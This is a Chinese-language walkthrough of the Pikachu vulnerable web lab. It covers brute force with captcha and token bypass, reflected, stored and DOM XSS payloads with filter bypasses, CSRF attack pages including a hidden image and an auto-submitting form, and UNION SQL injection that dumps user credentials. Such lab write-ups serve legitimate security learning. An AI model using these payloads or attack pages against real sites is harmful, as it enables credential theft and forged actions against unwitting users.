暴力破解
基于表单的暴力破解

验证码绕过(on server)
抓包

修改账号密码,不修改验证码

提示账号或密码错误,未提示验证码错误
修改验证码

说明验证码无条件不刷新,无条件不刷新是指在某一时间段内,无论登录失败多少次,只要不刷新页面,就可以无限次的使用同一个验证码来对一个或多个用户帐号进行暴力猜解
对账号密码进行暴力破解

验证码绕过(on client)
尝试登录

此时抓包无法获取请求包,说明验证码在客户端验证,验证成功之后才向服务器发起请求
抓包
输入正确的验证码进行抓包

虽然请求包中包含验证码字段,但并不在服务器进行验证,对账号密码进行暴力破解即可
暴力破解

token防爆破
抓包
发现请求包中出现
token字段
发起请求,查看响应包

发现响应包中存在一个
token字段,此token为下一次请求所使用的token值将请求包中的
token改为下一次所用的token值对其进行暴力破解

对密码的破解使用普通列表

对
token的字典需从响应包中获取设置请求的线程数为1

设置
Grep-Extract处
获取
token值,并且复制当前响应包的token值
设置第二个字典,粘贴上一步复制的
token值
开始破解

XSS
反射型XSS(get)
尝试输入代码

发现输入框限制了输入字符限制
可通过修改
html代码来去除限制

可直接修改
url中的参数绕过限制

反射型XSS(post)
先进行登录,登录后可进行XSS攻击

存储型XSS

DOM型XSS
尝试进行攻击,失败


查看网页元素

可发现注入语句被填充在
a标签中,成为链接根据规则进行标签的闭合,使用
a标签的单击事件

DOM型XSS-x
尝试攻击,出现两层链接

查看页面元素,同样被包含在标签中

将标签进行闭合,触发攻击,
' onclick="alert('xss')">

XSS盲打
盲打只是一种惯称的说法,就是不知道后台有没有xss存在的情况下,不顾一切的输入xss代码在所有的输入框中,尽可能多的尝试xss语句。
xss盲打是指在攻击者对数据提交后展现的结果未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。当后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的真实攻击功能
在所有的输入框中输入
xss代码
登录后台

触发攻击

XSS之过滤
输入攻击语句

发现注入语句被过滤
采用大小写方式进行绕过


XSS之htmlspecialchars
PHP htmlspecialchars()函数把预定义的字符转换为 HTML 实体
&(和)成为&
"(双引号)成为"
'(单引号)成为'
<(小于)成为<
>(大于)成为>
尝试输入特殊字符

发现过滤了
"与>可以在攻击语句中避免使用过滤字符,
' onclick='alert(/xss/)'
XSS之href输出
输入攻击语句

发现攻击语句被填充到
herf属性中可以使用
js语句来进行执行,javascript:alert(/xss/)
XSS之js输出
尝试输入攻击语句,无任何返回
尝试输入任意语句,得到返回

发现所输入的语句被放到代码中进行判断
1
2
3
4
5
6
7
8
9
10
11<script>
$ms='1111';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
//alert($ms);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>根据规则进行代码闭合,
'</script><script>alert(/xss/)</script>

1
2
3
4
5
6
7
8
9
10
11<script>
$ms=''</script><script>alert(/xss/)</script>';
if($ms.length != 0){
if($ms == 'tmac'){
$('#fromjs').text('tmac确实厉害,看那小眼神..')
}else {
//alert('</script><script>alert(/xss/)</script>);
$('#fromjs').text('无论如何不要放弃心中所爱..')
}
}
</script>
CSRF
CSRF(get)
首先登录一个账号

修改个人信息,并抓包
发现页面采取
get的方式进行参数传递
构造恶意链接
http://10.211.55.3/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123123&add=qwe1&email=123%40163.com&submit=submit在某一用户登录的情况下,诱使其访问恶意链接,可导致其遭受
CSRF攻击
也可构造恶意页面,增强伪装
1
2
3
4
5
6
7<html>
<body>
<img src="http://10.211.55.3/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=123123123&add=qwe1&email=123%40163.com&submit=submit" border="0" style="display:none;"/>
<h1>error</h1>
<h2>404</h2>
</body>
</html>诱使登录用户进行访问


CSRF(post)
登录用户,修改个人信息,抓包
发现参数采用
post的方式进行传递
构造恶意页面,发起恶意请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://10.211.55.3/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="body" />
<input id="phonenum" type="text" name="phonenum" value="123456789" />
<input id="add" type="text" name="add" value="usa" />
<input id="email" type="text" name="email" value="vince@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>在某一用户登录的情况下,诱使其访问恶意页面,造成
CSRF攻击
CSRF(token)
登录用户,修改个人信息,抓包,发现在请求中包含随机的token值

无法利用
SQL注入
数字型注入(post)
抓包

判断是否存在注入
输入单引号

输入
1 and 1=1
输入
1 and 1=2
判断查询语句的字段数



说明只有两个字段
获取数据库名

获取表名
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式其中保存着关于
MySQL服务器所维护的所有其他数据库的信息。如:数据库名,数据库的表,列的数据类型与访问权限等information_schema数据库的table表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个数据库,表类型,表引擎,创建时间等信息1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'
获取数据库中
users表中的列information_schema数据库的columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
获取数据记录
1 union select group_concat(id,username),group_concat(password) from users